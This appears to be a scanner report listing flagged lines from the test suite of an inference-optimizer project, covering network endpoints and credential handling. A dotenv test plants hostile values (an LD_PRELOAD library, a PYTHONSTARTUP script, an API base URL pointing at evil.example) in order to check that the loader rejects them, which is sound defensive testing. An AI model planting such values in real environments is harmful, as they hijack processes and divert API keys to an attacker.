src/hyperloom/inference_optimizer/tests/test_power_budget.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_pr_monitor.py
- Executable scriptline 1
Executable file - Network accessline 23
path = write_specialist_mcp_config( session_dir=tmp_path, pr_monitor_mcp_url="http://pr.test/mcp/", - Network accessline 24
session_dir=tmp_path, pr_monitor_mcp_url="http://pr.test/mcp/", ) - Network accessline 25
pr_monitor_mcp_url="http://pr.test/mcp/", - Network accessline 28
cfg = json.loads(path.read_text()) servers = cfg["mcpServers"] assert servers["pr_monitor"] == {"type": "http", "url": "http://pr.test/mcp/"} - Network accessline 29
servers = cfg["mcpServers"] assert servers["pr_monitor"] == {"type": "http", "url": "http://pr.test/mcp/"} assert "recipe_kb" not in servers - Network accessline 30
assert servers["pr_monitor"] == {"type": "http", "url": "http://pr.test/mcp/"}
src/hyperloom/inference_optimizer/tests/test_predictor_client.py
- Executable scriptline 1
Executable file - Network accessline 40
thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() state["url"] = f"http://127.0.0.1:{server.server_address[1]}" - Network accessline 41
thread.start() state["url"] = f"http://127.0.0.1:{server.server_address[1]}" yield state - Network accessline 42
state["url"] = f"http://127.0.0.1:{server.server_address[1]}" - Network accessline 103
def test_an_unreachable_or_non_http_endpoint_is_no_answer(): assert not predict({}, endpoint="http://127.0.0.1:9", timeout_sec=1).parsed - Network accessline 104
assert not predict({}, endpoint="http://127.0.0.1:9", timeout_sec=1).parsed - Network accessline 106
assert "transport error" in predict({}, endpoint="http://127.0.0.1:99999x", timeout_sec=1).error - Network accessline 109
def test_a_listener_that_does_not_speak_http_is_no_answer(): listener = socket.socket() - Network accessline 110
listener = socket.socket() - Network accessline 120
threading.Thread(target=_reply, daemon=True).start() answer = predict({}, endpoint=f"http://127.0.0.1:{listener.getsockname()[1]}", timeout_sec=5) - Network accessline 121
answer = predict({}, endpoint=f"http://127.0.0.1:{listener.getsockname()[1]}", timeout_sec=5)
src/hyperloom/inference_optimizer/tests/test_predictor_config_cli.py
- Executable scriptline 1
Executable file - Network accessline 26
def test_an_endpoint_alone_is_shadow(monkeypatch): monkeypatch.setenv(config.ENV_ENDPOINT, " http://p:8973 ") - Network accessline 27
monkeypatch.setenv(config.ENV_ENDPOINT, " http://p:8973 ") - Network accessline 28
conf = config.load() assert (conf.endpoint, conf.mode, conf.enabled, conf.enqueues) == ("http://p:8973", "shadow", True, False) assert conf.timeout_sec == config.DEFAULT_TIMEOUT_SEC - Network accessline 29
assert (conf.endpoint, conf.mode, conf.enabled, conf.enqueues) == ("http://p:8973", "shadow", True, False) - Network accessline 33
@pytest.mark.parametrize(("mode", "enabled", "enqueues"), [("active", True, True), ("off", False, False)]) def test_mode_switches(monkeypatch, mode, enabled, enqueues): monkeypatch.setenv(config.ENV_ENDPOINT, "http://p:8973") - Network accessline 34
def test_mode_switches(monkeypatch, mode, enabled, enqueues): monkeypatch.setenv(config.ENV_ENDPOINT, "http://p:8973") monkeypatch.setenv(config.ENV_MODE, mode.upper()) - Network accessline 35
monkeypatch.setenv(config.ENV_ENDPOINT, "http://p:8973") - Network accessline 62
def test_flags_parse_and_reject_an_unknown_mode(): args = _optimize_args("--primatune-endpoint", "http://p:8973", "--primatune-mode", "active") - Network accessline 63
args = _optimize_args("--primatune-endpoint", "http://p:8973", "--primatune-mode", "active") - Network accessline 64
assert (args.primatune_endpoint, args.primatune_mode) == ("http://p:8973", "active") - Network accessline 72
monkeypatch.setenv(config.ENV_MODE, "active") _export_predictor_settings(_optimize_args("--primatune-endpoint", "http://p:8973")) - Network accessline 73
_export_predictor_settings(_optimize_args("--primatune-endpoint", "http://p:8973")) - Network accessline 74
conf = config.load() assert (conf.endpoint, conf.mode) == ("http://p:8973", "active") assert "predictor : active at http://p:8973" in capsys.readouterr().out - Network accessline 75
assert (conf.endpoint, conf.mode) == ("http://p:8973", "active") - Network accessline 76
assert "predictor : active at http://p:8973" in capsys.readouterr().out
src/hyperloom/inference_optimizer/tests/test_predictor_mandate.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_predictor_payload.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_predictor_pump.py
- Executable scriptline 1
Executable file - Network accessline 28
if box.gate is not None: box.gate.wait(5) box.requests.append(request) - Network accessline 29
box.gate.wait(5) box.requests.append(request) return box.answer - Network accessline 30
box.requests.append(request) - Network accessline 33
monkeypatch.setattr(pump_mod, "predict", fake_predict) monkeypatch.setenv("HYPERLOOM_PREDICTOR_ENDPOINT", "http://p:8973") - Network accessline 34
monkeypatch.setenv("HYPERLOOM_PREDICTOR_ENDPOINT", "http://p:8973") - Network accessline 394
async def test_a_request_that_raises_is_not_retried_at_the_same_decision_point(service, monkeypatch): def _raising(request, *, endpoint, timeout_sec): service.requests.append(request) - Network accessline 395
def _raising(request, *, endpoint, timeout_sec): service.requests.append(request) raise RuntimeError("unexpected") - Network accessline 396
service.requests.append(request) - Network accessline 497
@pytest.mark.parametrize( ("mode", "endpoint", "asks"), [("shadow", "http://p:8973", 1), ("off", "http://p:8973", 0), ("active", None, 0)], - Network accessline 498
("mode", "endpoint", "asks"), [("shadow", "http://p:8973", 1), ("off", "http://p:8973", 0), ("active", None, 0)], ) - Network accessline 499
[("shadow", "http://p:8973", 1), ("off", "http://p:8973", 0), ("active", None, 0)],
src/hyperloom/inference_optimizer/tests/test_preflight_agent_cli.py
- Executable scriptline 1
Executable file
src/hyperloom/inference_optimizer/tests/test_preflight_auth_override.py
- Executable scriptline 1
Executable file - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 92
[Credential-related source omitted] - Access to secretsline 112
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted] - Access to secretsline 137
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 157
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 188
[Credential-related source omitted] - Access to secretsline 189
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 215
[Credential-related source omitted] - Access to secretsline 252
[Credential-related source omitted] - Access to secretsline 276
[Credential-related source omitted] - Access to secretsline 299
[Credential-related source omitted] - Access to secretsline 300
[Credential-related source omitted] - Access to secretsline 302
[Credential-related source omitted] - Access to secretsline 310
[Credential-related source omitted] - Access to secretsline 324
[Credential-related source omitted] - Access to secretsline 325
[Credential-related source omitted] - Access to secretsline 336
[Credential-related source omitted] - Access to secretsline 360
[Credential-related source omitted] - Access to secretsline 361
[Credential-related source omitted] - Access to secretsline 362
[Credential-related source omitted] - Access to secretsline 363
[Credential-related source omitted] - Access to secretsline 364
[Credential-related source omitted] - Access to secretsline 365
[Credential-related source omitted] - Access to secretsline 371
[Credential-related source omitted] - Access to secretsline 388
[Credential-related source omitted] - Access to secretsline 389
[Credential-related source omitted] - Network accessline 411
monkeypatch.chdir(tmp_path) (tmp_path / ".env").write_text( "LD_PRELOAD=/tmp/evil.so\nOPENAI_BASE_URL=https://evil.example/v1\n", - Network accessline 412
[Credential-related source omitted] - Access to secretsline 412
[Credential-related source omitted] - Network accessline 413
"LD_PRELOAD=/tmp/evil.so\nOPENAI_BASE_URL=https://evil.example/v1\n", - Network accessline 416
cli_preflight_env._load_dotenv_fallback() assert "LD_PRELOAD" not in os.environ assert os.environ.get("OPENAI_BASE_URL") != "https://evil.example/v1" - Access to secretsline 417
[Credential-related source omitted] - Network accessline 418
[Credential-related source omitted] - Access to secretsline 418
[Credential-related source omitted] - Network accessline 424
monkeypatch.delenv("OPENAI_BASE_URL", raising=False) (tmp_path / ".env").write_text( "LD_PRELOAD=/tmp/evil.so\nPYTHONSTARTUP=/tmp/pwn.py\nOPENAI_BASE_URL=https://gateway.example/v1\n", - Network accessline 425
[Credential-related source omitted] - Access to secretsline 425
[Credential-related source omitted] - Network accessline 426
"LD_PRELOAD=/tmp/evil.so\nPYTHONSTARTUP=/tmp/pwn.py\nOPENAI_BASE_URL=https://gateway.example/v1\n", - Network accessline 430
[Credential-related source omitted] - Access to secretsline 430
[Credential-related source omitted] - Access to secretsline 431
[Credential-related source omitted] - Network accessline 432
[Credential-related source omitted] - Access to secretsline 432
[Credential-related source omitted] - Network accessline 435
def test_dotenv_fallback_parses_safe_lines_and_preserves_env_wins(tmp_path, monkeypatch, capsys): monkeypatch.setenv("REPO_ROOT", str(tmp_path)) monkeypatch.setenv("OPENAI_BASE_URL", "https://operator.example/v1") - Network accessline 436
monkeypatch.setenv("REPO_ROOT", str(tmp_path)) monkeypatch.setenv("OPENAI_BASE_URL", "https://operator.example/v1") monkeypatch.delenv("HYPERLOOM_RUNTIME_DIR", raising=False) - Network accessline 437
monkeypatch.setenv("OPENAI_BASE_URL", "https://operator.example/v1") - Access to secretsline 440
[Credential-related source omitted] - Network accessline 442
"# comment\n" "export HYPERLOOM_RUNTIME_DIR='/runtime from env'\n" "OPENAI_BASE_URL=https://from-file.example/v1\n" - Network accessline 443
"export HYPERLOOM_RUNTIME_DIR='/runtime from env'\n" "OPENAI_BASE_URL=https://from-file.example/v1\n" "TRACELENS_ROOT=/path/to/your/TraceLens\n" - Network accessline 444
"OPENAI_BASE_URL=https://from-file.example/v1\n" - Network accessline 453
[Credential-related source omitted] - Access to secretsline 453
[Credential-related source omitted] - Network accessline 454
[Credential-related source omitted] - Access to secretsline 454
[Credential-related source omitted] - Access to secretsline 455
[Credential-related source omitted] - Access to secretsline 461
[Credential-related source omitted] - Access to secretsline 466
[Credential-related source omitted] - Access to secretsline 475
[Credential-related source omitted] - Access to secretsline 476
[Credential-related source omitted] - Access to secretsline 477
[Credential-related source omitted] - Access to secretsline 480
[Credential-related source omitted] - Access to secretsline 492
[Credential-related source omitted] - Access to secretsline 493
[Credential-related source omitted] - Access to secretsline 510
[Credential-related source omitted] - Access to secretsline 533
[Credential-related source omitted] - Access to secretsline 534
[Credential-related source omitted] - Access to secretsline 551
[Credential-related source omitted] - Network accessline 567
assert resolved[0] == "https://api.anthropic.com" - Access to secretsline 569
[Credential-related source omitted] - Network accessline 579
monkeypatch.setenv("HOME", str(tmp_path)) _oauth_only_env(monkeypatch, base_url="https://gw.example/anthropic") - Network accessline 580
_oauth_only_env(monkeypatch, base_url="https://gw.example/anthropic") - Network accessline 584
[Credential-related source omitted] - Access to secretsline 584
[Credential-related source omitted] - Network accessline 595
monkeypatch.setenv( "OPENAI_BASE_URL", "https://gateway.example/api/v1/llm-proxy/v1", - Network accessline 596
"OPENAI_BASE_URL", "https://gateway.example/api/v1/llm-proxy/v1", ) - Network accessline 597
"https://gateway.example/api/v1/llm-proxy/v1", - Network accessline 615
config_dir.mkdir() (config_dir / "config.json").write_text( '{"primaryApiKey":"old-key","customApiUrl":"https://old.example/v1"}', - Network accessline 616
(config_dir / "config.json").write_text( '{"primaryApiKey":"old-key","customApiUrl":"https://old.example/v1"}', encoding="utf-8", - Network accessline 617
'{"primaryApiKey":"old-key","customApiUrl":"https://old.example/v1"}', - Network accessline 624
assert resolved == ("", "https://gateway.example/api/v1/llm-proxy/v1") - Access to secretsline 625
[Credential-related source omitted] - Access to secretsline 626
[Credential-related source omitted] - Access to secretsline 628
[Credential-related source omitted] - Access to secretsline 630
[Credential-related source omitted] - Access to secretsline 632
[Credential-related source omitted] - Access to secretsline 633
[Credential-related source omitted] - Access to secretsline 634
[Credential-related source omitted] - Access to secretsline 636
[Credential-related source omitted] - Access to secretsline 637
[Credential-related source omitted] - Access to secretsline 638
[Credential-related source omitted] - Access to secretsline 639
[Credential-related source omitted] - Network accessline 654
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 655
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 656
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 670
assert resolved == ("https://api.anthropic.com", "https://api.openai.com/v1") - Access to secretsline 672
[Credential-related source omitted] - Access to secretsline 673
[Credential-related source omitted] - Access to secretsline 675
[Credential-related source omitted] - Access to secretsline 677
[Credential-related source omitted] - Network accessline 687
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 688
monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 691
def _dotenv_supplies_anthropic_side(): monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://gw.example.com") - Network accessline 692
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://gw.example.com") - Network accessline 699
assert resolved == ("https://gw.example.com", "https://gw.example.com/v1") - Access to secretsline 700
[Credential-related source omitted] - Network accessline 710
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 711
monkeypatch.setenv("OPENAI_BASE_URL", "https://gw.example.com/v1") - Network accessline 732
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Network accessline 733
monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Network accessline 743
assert resolved == ("", "https://gateway.example/v1") - Access to secretsline 744
[Credential-related source omitted] - Network accessline 754
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 755
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 756
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 763
assert '"primaryApiKey": "anthropic-user-token"' in config_text assert "openai-user-token" not in config_text assert '"customApiUrl": "https://api.anthropic.com"' in config_text - Network accessline 765
assert '"customApiUrl": "https://api.anthropic.com"' in config_text - Network accessline 775
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("_".join(("ANTHROPIC", "API", "KEY")), "anthropic-user-token") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 776
monkeypatch.setenv("_".join(("ANTHROPIC", "API", "KEY")), "anthropic-user-token") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") monkeypatch.delenv("OPENAI_BASE_URL", raising=False) - Network accessline 777
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 783
assert resolved == ("https://api.anthropic.com", "") - Access to secretsline 791
[Credential-related source omitted] - Access to secretsline 792
[Credential-related source omitted] - Network accessline 806
assert resolved == ("https://api.anthropic.com", "") - Network accessline 807
[Credential-related source omitted] - Access to secretsline 807
[Credential-related source omitted] - Access to secretsline 808
[Credential-related source omitted] - Network accessline 809
config_text = (tmp_path / ".claude" / "config.json").read_text(encoding="utf-8") assert '"primaryApiKey": "anthropic-user-token"' in config_text assert '"customApiUrl": "https://api.anthropic.com"' in config_text - Network accessline 811
assert '"customApiUrl": "https://api.anthropic.com"' in config_text - Network accessline 820
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("_".join(("ANTHROPIC", "API", "KEY")), "anthropic-user-token") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 822
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 824
def _stale_kernel_env_loader(): monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") - Network accessline 825
monkeypatch.setenv("OPENAI_BASE_URL", "https://llm.example.invalid/Unified/v1") - Network accessline 827
monkeypatch.setenv("LLM_API_BASE", "https://llm.example.invalid/Unified/v1") - Network accessline 833
assert resolved == ("https://api.anthropic.com", "") - Network accessline 834
[Credential-related source omitted] - Access to secretsline 834
[Credential-related source omitted] - Access to secretsline 835
[Credential-related source omitted] - Access to secretsline 836
[Credential-related source omitted] - Access to secretsline 839
[Credential-related source omitted] - Access to secretsline 841
[Credential-related source omitted] - Network accessline 855
assert resolved == ("", "https://api.openai.com/v1") - Access to secretsline 856
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Access to secretsline 857
[Credential-related source omitted] - Network accessline 872
assert resolved == ("https://api.anthropic.com", "https://api.openai.com/v1") - Network accessline 873
[Credential-related source omitted] - Access to secretsline 873
[Credential-related source omitted] - Network accessline 874
[Credential-related source omitted] - Access to secretsline 874
[Credential-related source omitted] - Network accessline 886
monkeypatch.setenv( "OPENAI_BASE_URL", "https://gateway.example/api/v1/llm-proxy/v1", - Network accessline 887
"OPENAI_BASE_URL", "https://gateway.example/api/v1/llm-proxy/v1", ) - Network accessline 888
"https://gateway.example/api/v1/llm-proxy/v1", - Network accessline 889
) tunnel = "https://127.0.0.1:18444/api/v1/llm-proxy/v1" monkeypatch.setenv("GEAK_BASE_URL", tunnel) - Network accessline 890
tunnel = "https://127.0.0.1:18444/api/v1/llm-proxy/v1" - Access to secretsline 897
[Credential-related source omitted] - Access to secretsline 898
[Credential-related source omitted] - Access to secretsline 899
[Credential-related source omitted] - Network accessline 911
monkeypatch.setenv( "OPENAI_BASE_URL", "https://gateway.example/api/v1/llm-proxy/v1", - Network accessline 912
"OPENAI_BASE_URL", "https://gateway.example/api/v1/llm-proxy/v1", ) - Network accessline 913
"https://gateway.example/api/v1/llm-proxy/v1", - Network accessline 915
monkeypatch.setenv( "LLM_API_BASE", "http://127.0.0.1:4002/api/v1/llm-proxy/v1", - Network accessline 916
"LLM_API_BASE", "http://127.0.0.1:4002/api/v1/llm-proxy/v1", ) - Network accessline 917
"http://127.0.0.1:4002/api/v1/llm-proxy/v1", - Access to secretsline 922
[Credential-related source omitted] - Access to secretsline 923
[Credential-related source omitted] - Access to secretsline 932
[Credential-related source omitted] - Network accessline 943
[Credential-related source omitted] - Access to secretsline 943
[Credential-related source omitted] - Access to secretsline 944
[Credential-related source omitted] - Access to secretsline 945
[Credential-related source omitted] - Access to secretsline 949
[Credential-related source omitted] - Access to secretsline 950
[Credential-related source omitted] - Network accessline 955
def test_is_stale_proxy_url_matches_legacy_only(): assert cli_credentials._is_stale_proxy_url("http://127.0.0.1:4002/api/v1/llm-proxy/v1") - Network accessline 956
assert cli_credentials._is_stale_proxy_url("http://127.0.0.1:4002/api/v1/llm-proxy/v1") - Network accessline 957
assert not cli_credentials._is_stale_proxy_url("https://127.0.0.1:18444/api/v1/llm-proxy/v1") - Network accessline 958
assert not cli_credentials._is_stale_proxy_url("https://gateway.example/v1") - Access to secretsline 966
[Credential-related source omitted] - Network accessline 978
cfg.write_text( _GEAK_CFG_TEMPLATE.format( url="https://old-gateway.example.invalid/api/v1/llm-proxy/v1", - Network accessline 979
_GEAK_CFG_TEMPLATE.format( url="https://old-gateway.example.invalid/api/v1/llm-proxy/v1", ), - Network accessline 980
url="https://old-gateway.example.invalid/api/v1/llm-proxy/v1", - Network accessline 982
encoding="utf-8", ) tunnel = "https://127.0.0.1:18444/api/v1/llm-proxy/v1" - Network accessline 984
tunnel = "https://127.0.0.1:18444/api/v1/llm-proxy/v1" - Access to secretsline 993
[Credential-related source omitted] - Network accessline 996
def test_sync_geak_config_noop_when_already_in_sync(tmp_path): cfg = tmp_path / "geak.yaml" url = "https://127.0.0.1:18444/api/v1/llm-proxy/v1" - Network accessline 997
cfg = tmp_path / "geak.yaml" url = "https://127.0.0.1:18444/api/v1/llm-proxy/v1" cfg.write_text(_GEAK_CFG_TEMPLATE.format(url=url), encoding="utf-8") - Network accessline 998
url = "https://127.0.0.1:18444/api/v1/llm-proxy/v1" - Network accessline 1006
def test_sync_geak_config_missing_file_is_safe(tmp_path): missing = tmp_path / "nope.yaml" assert cli_credentials._sync_geak_config_base_url(str(missing), "https://x/v1") is False - Network accessline 1008
assert cli_credentials._sync_geak_config_base_url(str(missing), "https://x/v1") is False - Network accessline 1012
cfg = tmp_path / "geak.yaml" cfg.write_text("model:\n model_class: litellm\n", encoding="utf-8") assert cli_credentials._sync_geak_config_base_url(str(cfg), "https://x/v1") is False - Network accessline 1014
assert cli_credentials._sync_geak_config_base_url(str(cfg), "https://x/v1") is False - Network accessline 1024
monkeypatch.setenv("HOME", str(tmp_path)) monkeypatch.setenv("_".join(("ANTHROPIC", "API", "KEY")), "anthropic-user-token") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 1025
monkeypatch.setenv("_".join(("ANTHROPIC", "API", "KEY")), "anthropic-user-token") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") monkeypatch.setenv("CLAUDE_MODEL", "claude-opus-4-6") - Network accessline 1026
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Access to secretsline 1034
[Credential-related source omitted] - Network accessline 1057
[Credential-related source omitted] - Access to secretsline 1057
[Credential-related source omitted] - Network accessline 1058
[Credential-related source omitted] - Access to secretsline 1058
[Credential-related source omitted] - Access to secretsline 1059
[Credential-related source omitted] - Network accessline 1079
[Credential-related source omitted] - Access to secretsline 1079
[Credential-related source omitted] - Access to secretsline 1080
[Credential-related source omitted] - Access to secretsline 1081
[Credential-related source omitted] - Network accessline 1084
def test_sync_geak_config_empty_args_are_safe(tmp_path): cfg = tmp_path / "geak.yaml" cfg.write_text(_GEAK_CFG_TEMPLATE.format(url="https://x/v1"), encoding="utf-8") - Network accessline 1085
cfg = tmp_path / "geak.yaml" cfg.write_text(_GEAK_CFG_TEMPLATE.format(url="https://x/v1"), encoding="utf-8") assert cli_credentials._sync_geak_config_base_url("", "https://y/v1") is False - Network accessline 1086
cfg.write_text(_GEAK_CFG_TEMPLATE.format(url="https://x/v1"), encoding="utf-8") - Network accessline 1087
assert cli_credentials._sync_geak_config_base_url("", "https://y/v1") is False - Network accessline 1093
cfg = tmp_path / "geak.yaml" cfg.write_text( _GEAK_CFG_TEMPLATE.format(url="https://old/v1"), - Network accessline 1094
cfg.write_text( _GEAK_CFG_TEMPLATE.format(url="https://old/v1"), encoding="utf-8", - Network accessline 1095
_GEAK_CFG_TEMPLATE.format(url="https://old/v1"), - Network accessline 1096
encoding="utf-8", ) weird = r"https://host/api\g<0>/v1" - Network accessline 1098
weird = r"https://host/api\g<0>/v1" - Network accessline 1367
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1383
monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "1") monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1384
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1416
monkeypatch.delenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1417
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1432
monkeypatch.delenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://api.deepseek.com/anthropic") - Network accessline 1433
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://api.deepseek.com/anthropic") - Network accessline 1479
assert model_catalog._catalog_compare_model_id("Claude-Opus-5") == "claude-opus-5" monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1480
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1493
def test_validate_claude_model_4_7_in_catalog_keeps_choice(monkeypatch, capsys): monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1494
monkeypatch.setenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", "https://gw.example/v1") - Network accessline 1509
monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 1510
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 1511
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Access to secretsline 1519
[Credential-related source omitted] - Network accessline 1526
assert seen["base_url"] == "https://api.anthropic.com" - Access to secretsline 1527
[Credential-related source omitted] - Network accessline 1532
monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Network accessline 1533
monkeypatch.delenv("ANTHROPIC_BASE_URL", raising=False) monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") monkeypatch.delenv("_".join(("ANTHROPIC", "API", "KEY")), raising=False) - Network accessline 1534
monkeypatch.setenv("OPENAI_BASE_URL", "https://gateway.example/v1") - Access to secretsline 1543
[Credential-related source omitted] - Network accessline 1550
assert seen["base_url"] == "https://gateway.example/v1" - Access to secretsline 1551
[Credential-related source omitted] - Network accessline 1556
monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.delenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", raising=False) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 1557
monkeypatch.delenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", raising=False) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") monkeypatch.setenv("_".join(("CLAUDE", "CODE", "OAUTH", "TOKEN")), "sk-ant-oat01- - Network accessline 1558
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 1600
_oauth_only_env(monkeypatch, base_url="https://gateway.internal.example/anthropic") - Network accessline 1604
err = capsys.readouterr().err assert "https://gateway.internal.example/anthropic" in err - Network accessline 1605
assert "https://gateway.internal.example/anthropic" in err - Network accessline 1606
assert "only valid against https://api.anthropic.com" in err - Network accessline 1609
@pytest.mark.parametrize("base_url", ["", "https://api.anthropic.com", "https://api.anthropic.com/"]) - Network accessline 1636
cli_credentials._reset_claude_config_to_upstream("", "https://gateway.internal.example/anthropic") - Access to secretsline 1643
[Credential-related source omitted] - Network accessline 1644
monkeypatch.setenv("HOME", str(tmp_path)) _oauth_only_env(monkeypatch, base_url="https://gateway.internal.example/anthropic") - Network accessline 1645
_oauth_only_env(monkeypatch, base_url="https://gateway.internal.example/anthropic") - Network accessline 1649
cli_credentials._reset_claude_config_to_upstream("", "https://gateway.internal.example/anthropic") - Network accessline 1651
written = json.loads(config_path.read_text(encoding="utf-8")) assert written["customApiUrl"] == "https://gateway.internal.example/anthropic" - Network accessline 1652
assert written["customApiUrl"] == "https://gateway.internal.example/anthropic" - Access to secretsline 1656
[Credential-related source omitted] - Network accessline 1658
monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Network accessline 1659
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.anthropic.com") - Access to secretsline 1667
[Credential-related source omitted] - Access to secretsline 1674
[Credential-related source omitted] - Network accessline 1679
monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.delenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", raising=False) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic - Network accessline 1680
monkeypatch.delenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", raising=False) monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 1681
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") - Network accessline 1682
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 1700
assert probed == ["https://api.deepseek.com/anthropic"] - Network accessline 1707
monkeypatch.delenv("INFERENCE_OPTIMIZER_CATALOG_PROBE_URL", raising=False) monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "0") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") - Network accessline 1708
monkeypatch.setenv("INFERENCE_OPTIMIZER_ALLOW_CUSTOM_ORCH_MODEL", "0") monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 1709
monkeypatch.setenv("ANTHROPIC_BASE_URL", "https://api.deepseek.com/anthropic") - Network accessline 1710
monkeypatch.setenv("OPENAI_BASE_URL", "https://api.openai.com/v1") - Network accessline 1724
